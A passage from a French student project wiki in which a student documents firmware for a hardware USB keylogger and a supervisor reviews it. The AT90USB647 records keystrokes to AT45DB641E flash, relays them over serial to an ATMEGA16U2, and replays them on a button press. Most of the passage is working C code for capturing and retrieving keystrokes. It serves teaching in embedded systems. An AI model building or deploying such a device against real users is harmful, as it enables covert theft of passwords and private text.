		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size &amp;gt;= FLASH_PAGE_INDEX_MAX) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Parfait. Il te reste une condition à redresser &amp;lt;code&amp;gt;(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))&amp;lt;/code&amp;gt;. Cela n'arrivera jamais, le plus proche de &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes &amp;lt;code&amp;gt;(*page_buffer_size+FLASH_BUFFER_SIZE&amp;gt;=FLASH_PAGE_INDEX_MAX)&amp;lt;/code&amp;gt; tu ne crois pas ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le &amp;lt;code&amp;gt;+ 1&amp;lt;/code&amp;gt; qui nous permettra de vérifier l'indice &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui sera à 252 quand il aura été rempli 4 fois par &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt;. Je vais rajouter une condition avec une comparaison &amp;lt;code&amp;gt;&amp;gt;=&amp;lt;/code&amp;gt; au cas où les constantes serait mené à changer dans le futur.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Dans ma logique, on n'a pas besoin de vérifié de vérifié &amp;lt;code&amp;gt;*page_buffer_size+FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt; car &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; suffit à savoir si l'on doit changer de page ou non. Sauf qu'il ne le saura qu'à la prochaine touche tapé, dans la condition où : &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; était plein précédement et a alors incrémenté &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt;, on aurait donc &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui vaudrait 252 si précedement il était à 189 (dans la condition que &amp;lt;code&amp;gt;FLASH_BUFFER_SIZE&amp;lt;/code&amp;gt; soit égale à 63.). Je sais pas si c'est très claire = /&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
